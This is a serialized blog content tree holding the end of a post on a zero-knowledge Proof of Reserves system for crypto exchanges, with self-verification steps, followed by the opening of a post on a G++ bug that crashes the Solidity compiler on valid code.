n":73202},{"style":2275},[73203,73207],{"type":26,"tag":217,"props":73204,"children":73206},{"className":73205,"style":2182},[320],[],{"type":26,"tag":217,"props":73208,"children":73210},{"className":73209},[2187,2188,2189,2190],[73211],{"type":26,"tag":217,"props":73212,"children":73214},{"className":73213},[247,2190],[73215],{"type":32,"value":1883},{"type":26,"tag":217,"props":73217,"children":73219},{"className":73218},[409],[73220],{"type":32,"value":412},{"type":26,"tag":217,"props":73222,"children":73224},{"className":73223},[305],[73225],{"type":26,"tag":217,"props":73226,"children":73228},{"className":73227,"style":2210},[310],[73229],{"type":26,"tag":217,"props":73230,"children":73231},{},[],{"type":26,"tag":217,"props":73233,"children":73235},{"className":73234},[1865],[73236],{"type":32,"value":1868},{"type":26,"tag":217,"props":73238,"children":73240},{"className":73239,"style":1872},[258],[],{"type":26,"tag":217,"props":73242,"children":73244},{"className":73243},[247,2152],[73245],{"type":32,"value":71241},{"type":26,"tag":217,"props":73247,"children":73249},{"className":73248},[247,2152],[73250],{"type":32,"value":3246},{"type":26,"tag":217,"props":73252,"children":73254},{"className":73253},[247],[73255,73260],{"type":26,"tag":217,"props":73256,"children":73258},{"className":73257},[247,2152],[73259],{"type":32,"value":2612},{"type":26,"tag":217,"props":73261,"children":73263},{"className":73262},[2160],[73264],{"type":26,"tag":217,"props":73265,"children":73267},{"className":73266},[299,300],[73268,73297],{"type":26,"tag":217,"props":73269,"children":73271},{"className":73270},[305],[73272,73292],{"type":26,"tag":217,"props":73273,"children":73275},{"className":73274,"style":19226},[310],[73276],{"type":26,"tag":217,"props":73277,"children":73278},{"style":2275},[73279,73283],{"type":26,"tag":217,"props":73280,"children":73282},{"className":73281,"style":2182},[320],[],{"type":26,"tag":217,"props":73284,"children":73286},{"className":73285},[2187,2188,2189,2190],[73287],{"type":26,"tag":217,"props":73288,"children":73290},{"className":73289},[247,2190],[73291],{"type":32,"value":185},{"type":26,"tag":217,"props":73293,"children":73295},{"className":73294},[409],[73296],{"type":32,"value":412},{"type":26,"tag":217,"props":73298,"children":73300},{"className":73299},[305],[73301],{"type":26,"tag":217,"props":73302,"children":73304},{"className":73303,"style":2210},[310],[73305],{"type":26,"tag":217,"props":73306,"children":73307},{},[],{"type":26,"tag":217,"props":73309,"children":73311},{"className":73310},[1865],[73312],{"type":32,"value":1868},{"type":26,"tag":217,"props":73314,"children":73316},{"className":73315,"style":1872},[258],[],{"type":26,"tag":217,"props":73318,"children":73320},{"className":73319},[247],[73321],{"type":32,"value":13251},{"type":26,"tag":217,"props":73323,"children":73325},{"className":73324},[1865],[73326],{"type":32,"value":1868},{"type":26,"tag":217,"props":73328,"children":73330},{"className":73329,"style":1872},[258],[],{"type":26,"tag":217,"props":73332,"children":73334},{"className":73333},[247,2152],[73335],{"type":32,"value":71241},{"type":26,"tag":217,"props":73337,"children":73339},{"className":73338},[247,2152],[73340],{"type":32,"value":3246},{"type":26,"tag":217,"props":73342,"children":73344},{"className":73343},[247],[73345,73350],{"type":26,"tag":217,"props":73346,"children":73348},{"className":73347},[247,2152],[73349],{"type":32,"value":2612},{"type":26,"tag":217,"props":73351,"children":73353},{"className":73352},[2160],[73354],{"type":26,"tag":217,"props":73355,"children":73357},{"className":73356},[299,300],[73358,73391],{"type":26,"tag":217,"props":73359,"children":73361},{"className":73360},[305],[73362,73386],{"type":26,"tag":217,"props":73363,"children":73365},{"className":73364,"style":19226},[310],[73366],{"type":26,"tag":217,"props":73367,"children":73368},{"style":2275},[73369,73373],{"type":26,"tag":217,"props":73370,"children":73372},{"className":73371,"style":2182},[320],[],{"type":26,"tag":217,"props":73374,"children":73376},{"className":73375},[2187,2188,2189,2190],[73377],{"type":26,"tag":217,"props":73378,"children":73380},{"className":73379},[247,2190],[73381],{"type":26,"tag":217,"props":73382,"children":73384},{"className":73383},[247,2190],[73385],{"type":32,"value":27973},{"type":26,"tag":217,"props":73387,"children":73389},{"className":73388},[409],[73390],{"type":32,"value":412},{"type":26,"tag":217,"props":73392,"children":73394},{"className":73393},[305],[73395],{"type":26,"tag":217,"props":73396,"children":73398},{"className":73397,"style":2210},[310],[73399],{"type":26,"tag":217,"props":73400,"children":73401},{},[],{"type":26,"tag":217,"props":73403,"children":73405},{"className":73404},[428],[73406],{"type":32,"value":1889},{"type":32,"value":19795},{"type":26,"tag":9348,"props":73409,"children":73410},{},[73411],{"type":32,"value":71561},{"type":26,"tag":2044,"props":73413,"children":73414},{},[73415,73420,73421],{"type":26,"tag":65,"props":73416,"children":73417},{},[73418],{"type":32,"value":73419},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":32,"value":19795},{"type":26,"tag":9348,"props":73422,"children":73423},{},[73424],{"type":32,"value":71841},{"type":26,"tag":39,"props":73426,"children":73427},{},[73428],{"type":32,"value":73429},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":26,"tag":39,"props":73431,"children":73432},{},[73433],{"type":26,"tag":6468,"props":73434,"children":73436},{"alt":9464,"src":73435},"/posts/por/recursive-circuit.png",[],{"type":26,"tag":27,"props":73438,"children":73440},{"id":73439},"global-proof-and-inclusion-proofs",[73441],{"type":32,"value":73442},"Global Proof and Inclusion Proofs",{"type":26,"tag":607,"props":73444,"children":73446},{"id":73445},"proving",[73447],{"type":32,"value":73448},"Proving",{"type":26,"tag":39,"props":73450,"children":73451},{},[73452,73454,73460,73461,73467,73468,73474],{"type":32,"value":73453},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":26,"tag":83,"props":73455,"children":73457},{"className":73456},[],[73458],{"type":32,"value":73459},"merkle_tree.json",{"type":32,"value":7599},{"type":26,"tag":83,"props":73462,"children":73464},{"className":73463},[],[73465],{"type":32,"value":73466},"final_proof.json",{"type":32,"value":17577},{"type":26,"tag":83,"props":73469,"children":73471},{"className":73470},[],[73472],{"type":32,"value":73473},"private_nonces.json",{"type":32,"value":73475}," files.",{"type":26,"tag":39,"props":73477,"children":73478},{},[73479],{"type":32,"value":73480},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":26,"tag":39,"props":73482,"children":73483},{},[73484,73486,73492,73494,73499],{"type":32,"value":73485},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":26,"tag":83,"props":73487,"children":73489},{"className":73488},[],[73490],{"type":32,"value":73491},"inclusion_proof_\u003Cid>.json",{"type":32,"value":73493},"). ",{"type":26,"tag":65,"props":73495,"children":73496},{},[73497],{"type":32,"value":73498},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":32,"value":180},{"type":26,"tag":607,"props":73501,"children":73503},{"id":73502},"verifying",[73504],{"type":32,"value":73505},"Verifying",{"type":26,"tag":39,"props":73507,"children":73508},{},[73509],{"type":26,"tag":9348,"props":73510,"children":73511},{},[73512],{"type":32,"value":73513},"Global Proof",{"type":26,"tag":39,"props":73515,"children":73516},{},[73517,73519,73524,73525,73530],{"type":32,"value":73518},"To verify the global proof, the code deserializes the ",{"type":26,"tag":83,"props":73520,"children":73522},{"className":73521},[],[73523],{"type":32,"value":73459},{"type":32,"value":37144},{"type":26,"tag":83,"props":73526,"children":73528},{"className":73527},[],[73529],{"type":32,"value":73466},{"type":32,"value":73531}," files and performs these checks:",{"type":26,"tag":6712,"props":73533,"children":73534},{},[73535,73540,73545,73550,73576],{"type":26,"tag":2044,"props":73536,"children":73537},{},[73538],{"type":32,"value":73539},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":26,"tag":2044,"props":73541,"children":73542},{},[73543],{"type":32,"value":73544},"Verify the ZK final proof.",{"type":26,"tag":2044,"props":73546,"children":73547},{},[73548],{"type":32,"value":73549},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":26,"tag":2044,"props":73551,"children":73552},{},[73553,73555,73561,73563,73568,73569,73574],{"type":32,"value":73554},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":26,"tag":83,"props":73556,"children":73558},{"className":73557},[],[73559],{"type":32,"value":73560},"merkle_tree_hash",{"type":32,"value":73562}," public input. This ensures that the ",{"type":26,"tag":83,"props":73564,"children":73566},{"className":73565},[],[73567],{"type":32,"value":73459},{"type":32,"value":1308},{"type":26,"tag":83,"props":73570,"children":73572},{"className":73571},[],[73573],{"type":32,"value":73466},{"type":32,"value":73575}," are linked (they belong to the same global proof).",{"type":26,"tag":2044,"props":73577,"children":73578},{},[73579],{"type":32,"value":73580},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":26,"tag":39,"props":73582,"children":73583},{},[73584],{"type":26,"tag":9348,"props":73585,"children":73586},{},[73587],{"type":32,"value":73588},"Inclusion Proof",{"type":26,"tag":39,"props":73590,"children":73591},{},[73592,73594,73599,73601,73606],{"type":32,"value":73593},"To verify the inclusion proof, the code deserializes the ",{"type":26,"tag":83,"props":73595,"children":73597},{"className":73596},[],[73598],{"type":32,"value":73491},{"type":32,"value":73600}," file and also the ",{"type":26,"tag":83,"props":73602,"children":73604},{"className":73603},[],[73605],{"type":32,"value":73466},{"type":32,"value":73607},". After that, it performs these checks:",{"type":26,"tag":6712,"props":73609,"children":73610},{},[73611,73615,73620,73625],{"type":26,"tag":2044,"props":73612,"children":73613},{},[73614],{"type":32,"value":73544},{"type":26,"tag":2044,"props":73616,"children":73617},{},[73618],{"type":32,"value":73619},"Verify if the Merkle tree root is the same as in the final proof.",{"type":26,"tag":2044,"props":73621,"children":73622},{},[73623],{"type":32,"value":73624},"Recalculate the user-related node leaf hash.",{"type":26,"tag":2044,"props":73626,"children":73627},{},[73628],{"type":32,"value":73629},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":26,"tag":27,"props":73631,"children":73633},{"id":73632},"por-verifier-server",[73634],{"type":32,"value":73635},"PoR Verifier Server",{"type":26,"tag":39,"props":73637,"children":73638},{},[73639,73641,73647],{"type":32,"value":73640},"To automate the verification process, we created a ",{"type":26,"tag":163,"props":73642,"children":73644},{"href":69300,"rel":73643},[167],[73645],{"type":32,"value":73646},"verifier server",{"type":32,"value":73648}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":26,"tag":39,"props":73650,"children":73651},{},[73652],{"type":32,"value":73653},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":26,"tag":39,"props":73655,"children":73656},{},[73657],{"type":26,"tag":6468,"props":73658,"children":73660},{"alt":9464,"src":73659},"/posts/por/backpack-por.png",[],{"type":26,"tag":39,"props":73662,"children":73663},{},[73664],{"type":32,"value":73665},"Here is a breakdown of what fields represent and why they are required:",{"type":26,"tag":2040,"props":73667,"children":73668},{},[73669,73679,73689,73699,73709,73719],{"type":26,"tag":2044,"props":73670,"children":73671},{},[73672,73677],{"type":26,"tag":9348,"props":73673,"children":73674},{},[73675],{"type":32,"value":73676},"Status",{"type":32,"value":73678}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":26,"tag":2044,"props":73680,"children":73681},{},[73682,73687],{"type":26,"tag":9348,"props":73683,"children":73684},{},[73685],{"type":32,"value":73686},"Proof Timestamp",{"type":32,"value":73688}," --> when the proof was generated by the exchange.",{"type":26,"tag":2044,"props":73690,"children":73691},{},[73692,73697],{"type":26,"tag":9348,"props":73693,"children":73694},{},[73695],{"type":32,"value":73696},"Verify Timestamp",{"type":32,"value":73698}," --> when the proof was verified by the PoR server.",{"type":26,"tag":2044,"props":73700,"children":73701},{},[73702,73707],{"type":26,"tag":9348,"props":73703,"children":73704},{},[73705],{"type":32,"value":73706},"Proof File URL",{"type":32,"value":73708}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":26,"tag":2044,"props":73710,"children":73711},{},[73712,73717],{"type":26,"tag":9348,"props":73713,"children":73714},{},[73715],{"type":32,"value":73716},"Prover Version",{"type":32,"value":73718}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":26,"tag":2044,"props":73720,"children":73721},{},[73722,73727],{"type":26,"tag":9348,"props":73723,"children":73724},{},[73725],{"type":32,"value":73726},"File Hash (SHA256)",{"type":32,"value":73728}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":26,"tag":39,"props":73730,"children":73731},{},[73732],{"type":32,"value":73733},"Also, you can check the exchange's liabilities on the website:",{"type":26,"tag":39,"props":73735,"children":73736},{},[73737],{"type":26,"tag":6468,"props":73738,"children":73740},{"alt":9464,"src":73739},"/posts/por/backpack-por-liabilities.png",[],{"type":26,"tag":39,"props":73742,"children":73743},{},[73744,73746,73752,73754,73760],{"type":32,"value":73745},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":26,"tag":163,"props":73747,"children":73750},{"href":73748,"rel":73749},"https://backpack.exchange/reserves",[167],[73751],{"type":32,"value":73748},{"type":32,"value":73753}," and our verifier server for backpack at ",{"type":26,"tag":163,"props":73755,"children":73758},{"href":73756,"rel":73757},"https://backpack-por.osec.io/",[167],[73759],{"type":32,"value":73756},{"type":32,"value":180},{"type":26,"tag":27,"props":73762,"children":73764},{"id":73763},"self-verification",[73765],{"type":32,"value":73766},"Self-verification",{"type":26,"tag":39,"props":73768,"children":73769},{},[73770],{"type":32,"value":73771},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":26,"tag":607,"props":73773,"children":73775},{"id":73774},"how-to-verify-if-i-was-included",[73776],{"type":32,"value":73777},"How to verify if I was included?",{"type":26,"tag":39,"props":73779,"children":73780},{},[73781],{"type":32,"value":73782},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":26,"tag":6712,"props":73784,"children":73785},{},[73786,73797,73815],{"type":26,"tag":2044,"props":73787,"children":73788},{},[73789,73796],{"type":26,"tag":163,"props":73790,"children":73793},{"href":73791,"rel":73792},"https://github.com/otter-sec/por_v2/releases",[167],[73794],{"type":32,"value":73795},"Download the PoRv2 executable from our github",{"type":32,"value":180},{"type":26,"tag":2044,"props":73798,"children":73799},{},[73800,73802,73807,73808,73813],{"type":32,"value":73801},"Download the inclusion and the final proof files from the exchange (",{"type":26,"tag":83,"props":73803,"children":73805},{"className":73804},[],[73806],{"type":32,"value":73491},{"type":32,"value":1308},{"type":26,"tag":83,"props":73809,"children":73811},{"className":73810},[],[73812],{"type":32,"value":73466},{"type":32,"value":73814},") and put the files in the same directory as the PoRv2 app.",{"type":26,"tag":2044,"props":73816,"children":73817},{},[73818,73820,73826],{"type":32,"value":73819},"Open the terminal and execute this: ",{"type":26,"tag":83,"props":73821,"children":73823},{"className":73822},[],[73824],{"type":32,"value":73825},"./plonky2_por verify-inclusion",{"type":32,"value":180},{"type":26,"tag":39,"props":73828,"children":73829},{},[73830],{"type":32,"value":73831},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":26,"tag":207,"props":73833,"children":73835},{"code":73834},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[73836],{"type":26,"tag":83,"props":73837,"children":73838},{"__ignoreMap":8},[73839],{"type":32,"value":73834},{"type":26,"tag":607,"props":73841,"children":73843},{"id":73842},"how-can-i-verify-the-global-proof",[73844],{"type":32,"value":73845},"How can I verify the global proof?",{"type":26,"tag":39,"props":73847,"children":73848},{},[73849],{"type":32,"value":73850},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":26,"tag":6712,"props":73852,"children":73853},{},[73854,73863,73881],{"type":26,"tag":2044,"props":73855,"children":73856},{},[73857,73862],{"type":26,"tag":163,"props":73858,"children":73860},{"href":73791,"rel":73859},[167],[73861],{"type":32,"value":73795},{"type":32,"value":180},{"type":26,"tag":2044,"props":73864,"children":73865},{},[73866,73868,73873,73874,73879],{"type":32,"value":73867},"Download the ",{"type":26,"tag":83,"props":73869,"children":73871},{"className":73870},[],[73872],{"type":32,"value":73459},{"type":32,"value":37144},{"type":26,"tag":83,"props":73875,"children":73877},{"className":73876},[],[73878],{"type":32,"value":73466},{"type":32,"value":73880}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":26,"tag":2044,"props":73882,"children":73883},{},[73884,73886,73891],{"type":32,"value":73885},"Open the terminal and execute ",{"type":26,"tag":83,"props":73887,"children":73889},{"className":73888},[],[73890],{"type":32,"value":73825},{"type":32,"value":73892},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":26,"tag":39,"props":73894,"children":73895},{},[73896],{"type":32,"value":73897},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":26,"tag":207,"props":73899,"children":73901},{"code":73900},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[73902],{"type":26,"tag":83,"props":73903,"children":73904},{"__ignoreMap":8},[73905],{"type":32,"value":73900},{"type":26,"tag":39,"props":73907,"children":73908},{},[73909],{"type":32,"value":73910},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":26,"tag":207,"props":73912,"children":73914},{"code":73913},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[73915],{"type":26,"tag":83,"props":73916,"children":73917},{"__ignoreMap":8},[73918],{"type":32,"value":73913},{"type":26,"tag":27,"props":73920,"children":73921},{"id":9272},[73922],{"type":32,"value":9275},{"type":26,"tag":39,"props":73924,"children":73925},{},[73926],{"type":32,"value":73927},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":26,"tag":39,"props":73929,"children":73930},{},[73931,73933,73939],{"type":32,"value":73932},"We are currently working with Backpack to implement this algorithm ",{"type":26,"tag":163,"props":73934,"children":73936},{"href":73748,"rel":73935},[167],[73937],{"type":32,"value":73938},"in production",{"type":32,"value":73940}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":26,"tag":39,"props":73942,"children":73943},{},[73944,73946,73953],{"type":32,"value":73945},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":26,"tag":163,"props":73947,"children":73950},{"href":73948,"rel":73949},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[167],[73951],{"type":32,"value":73952},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":32,"value":180},{"title":8,"searchDepth":6770,"depth":6770,"links":73955},[73956,73957,73958,73959,73962,73967,73971,73972,73976],{"id":69228,"depth":6770,"text":69231},{"id":69309,"depth":6770,"text":69312},{"id":69379,"depth":6770,"text":69382},{"id":69433,"depth":6770,"text":69436,"children":73960},[73961],{"id":69512,"depth":6779,"text":69515},{"id":69600,"depth":6770,"text":69603,"children":73963},[73964,73965,73966],{"id":69673,"depth":6779,"text":69676},{"id":70134,"depth":6779,"text":70137},{"id":71864,"depth":6779,"text":71867},{"id":73439,"depth":6770,"text":73442,"children":73968},[73969,73970],{"id":73445,"depth":6779,"text":73448},{"id":73502,"depth":6779,"text":73505},{"id":73632,"depth":6770,"text":73635},{"id":73763,"depth":6770,"text":73766,"children":73973},[73974,73975],{"id":73774,"depth":6779,"text":73777},{"id":73842,"depth":6779,"text":73845},{"id":9272,"depth":6770,"text":9275},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":73981,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":73982,"description":73983,"author":73984,"image":73985,"date":73987,"tags":73988,"isFeatured":17,"onBlogPage":17,"body":73990,"_type":6799,"_id":76702,"_source":6801,"_file":76703,"_stem":76704,"_extension":6804},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":73986,"height":6817,"width":6817},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[59409,73989],"compiler",{"type":23,"children":73991,"toc":76686},[73992,73997,74130,74135,74140,74145,74150,74262,74267,74272,74277,74317,74330,74335,74353,74358,74361,74367,74381,74394,74399,74412,74417,74429,74442,74447,74450,74456,74462,74519,74524,74529,74543,74578,74586,74594,74614,74620,74625,75067,75075,75119,75124,75132,75140,75179,75184,75192,75197,75200,75206,75212,75237,75249,75276,75309,75314,75317,75323,75342,75862,75875,75893,75916,75927,75932,76035,76040,76045,76059,76064,76142,76160,76165,76168,76174,76186,76198,76540,76545,76563,76568,76571,76577,76582,76600,76620,76623,76629,76648,76651,76655,76660,76672,76677,76682],{"type":26,"tag":39,"props":73993,"children":73994},{},[73995],{"type":32,"value":73996},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":26,"tag":207,"props":73998,"children":74000},{"code":73999,"language":59409,"meta":8,"className":59407,"style":8},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure returns (uint256) {\n        return 1 ** 2;\n    }\n}\n",[74001],{"type":26,"tag":83,"props":74002,"children":74003},{"__ignoreMap":8},[74004,74012,74030,74037,74053,74093,74116,74123],{"type":26,"tag":217,"props":74005,"children":74006},{"class":7028,"line":7029},[74007],{"type":26,"tag":217,"props":74008,"children":74009},{"style":7033},[74010],{"type":32,"value":74011},"// SPDX-License-Identifier: UNLICENSED\n",{"type":26,"tag":217,"props":74013,"children":74014},{"class":7028,"line":6770},[74015,74020,74025],{"type":26,"tag":217,"props":74016,"children":74017},{"style":7042},[74018],{"type":32,"value":74019},"pragma",{"type":26,"tag":217,"props":74021,"children":74022},{"style":7154},[74023],{"type":32,"value":74024}," solidity",{"type":26,"tag":217,"props":74026,"children":74027},{"style":7048},[74028],{"type":32,"value":74029}," ^0.8.25;\n",{"type":26,"tag":217,"props":74031,"children":74032},{"class":7028,"line":6779},[74033],{"type":26,"tag":217,"props":74034,"children":74035},{"emptyLinePlaceholder":17},[74036],{"type":32,"value":7817},{"type":26,"tag":217,"props":74038,"children":74039},{"class":7028,"line":7140},[74040,74044,74049],{"type":26,"tag":217,"props":74041,"children":74042},{"style":7154},[74043],{"type":32,"value":59421},{"type":26,"tag":217,"props":74045,"children":74046},{"style":7119},[74047],{"type":32,"value":74048}," A",{"type":26,"tag":217,"props":74050,"children":74051},{"style":7048},[74052],{"type":32,"value":8064},{"type":26,"tag":217,"props":74054,"children":74055},{"class":7028,"line":7165},[74056,74060,74064,74068,74072,74077,74081,74085,74089],{"type":26,"tag":217,"props":74057,"children":74058},{"style":7154},[74059],{"type":32,"value":59474},{"type":26,"tag":217,"props":74061,"children":74062},{"style":7064},[74063],{"type":32,"value":24597},{"type":26,"tag":217,"props":74065,"children":74066},{"style":7048},[74067],{"type":32,"value":61808},{"type":26,"tag":217,"props":74069,"children":74070},{"style":7154},[74071],{"type":32,"value":52893},{"type":26,"tag":217,"props":74073,"children":74074},{"style":7154},[74075],{"type":32,"value":74076}," pure",{"type":26,"tag":217,"props":74078,"children":74079},{"style":7042},[74080],{"type":32,"value":62260},{"type":26,"tag":217,"props":74082,"children":74083},{"style":7048},[74084],{"type":32,"value":7051},{"type":26,"tag":217,"props":74086,"children":74087},{"style":7119},[74088],{"type":32,"value":59516},{"type":26,"tag":217,"props":74090,"children":74091},{"style":7048},[74092],{"type":32,"value":7618},{"type":26,"tag":217,"props":74094,"children":74095},{"class":7028,"line":7178},[74096,74100,74104,74108,74112],{"type":26,"tag":217,"props":74097,"children":74098},{"style":7042},[74099],{"type":32,"value":9737},{"type":26,"tag":217,"props":74101,"children":74102},{"style":7130},[74103],{"type":32,"value":9742},{"type":26,"tag":217,"props":74105,"children":74106},{"style":7149},[74107],{"type":32,"value":9650},{"type":26,"tag":217,"props":74109,"children":74110},{"style":7130},[74111],{"type":32,"value":9725},{"type":26,"tag":217,"props":74113,"children":74114},{"style":7048},[74115],{"type":32,"value":7162},{"type":26,"tag":217,"props":74117,"children":74118},{"class":7028,"line":7389},[74119],{"type":26,"tag":217,"props":74120,"children":74121},{"style":7048},[74122],{"type":32,"value":9754},{"type":26,"tag":217,"props":74124,"children":74125},{"class":7028,"line":7406},[74126],{"type":26,"tag":217,"props":74127,"children":74128},{"style":7048},[74129],{"type":32,"value":7184},{"type":26,"tag":39,"props":74131,"children":74132},{},[74133],{"type":32,"value":74134},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":26,"tag":39,"props":74136,"children":74137},{},[74138],{"type":32,"value":74139},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":26,"tag":39,"props":74141,"children":74142},{},[74143],{"type":32,"value":74144},"And yet, it crashes.",{"type":26,"tag":39,"props":74146,"children":74147},{},[74148],{"type":32,"value":74149},"Another minimal example?",{"type":26,"tag":207,"props":74151,"children":74153},{"code":74152,"language":59409,"meta":8,"className":59407,"style":8},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure {\n        uint256[1] data;\n    }\n}\n",[74154],{"type":26,"tag":83,"props":74155,"children":74156},{"__ignoreMap":8},[74157,74164,74179,74186,74201,74228,74248,74255],{"type":26,"tag":217,"props":74158,"children":74159},{"class":7028,"line":7029},[74160],{"type":26,"tag":217,"props":74161,"children":74162},{"style":7033},[74163],{"type":32,"value":74011},{"type":26,"tag":217,"props":74165,"children":74166},{"class":7028,"line":6770},[74167,74171,74175],{"type":26,"tag":217,"props":74168,"children":74169},{"style":7042},[74170],{"type":32,"value":74019},{"type":26,"tag":217,"props":74172,"children":74173},{"style":7154},[74174],{"type":32,"value":74024},{"type":26,"tag":217,"props":74176,"children":74177},{"style":7048},[74178],{"type":32,"value":74029},{"type":26,"tag":217,"props":74180,"children":74181},{"class":7028,"line":6779},[74182],{"type":26,"tag":217,"props":74183,"children":74184},{"emptyLinePlaceholder":17},[74185],{"type":32,"value":7817},{"type":26,"tag":217,"props":74187,"children":74188},{"class":7028,"line":7140},[74189,74193,74197],{"type":26,"tag":217,"props":74190,"children":74191},{"style":7154},[74192],{"type":32,"value":59421},{"type":26,"tag":217,"props":74194,"children":74195},{"style":7119},[74196],{"type":32,"value":74048},{"type":26,"tag":217,"props":74198,"children":74199},{"style":7048},[74200],{"type":32,"value":8064},{"type":26,"tag":217,"props":74202,"children":74203},{"class":7028,"line":7165},[74204,74208,74212,74216,74220,74224],{"type":26,"tag":217,"props":74205,"children":74206},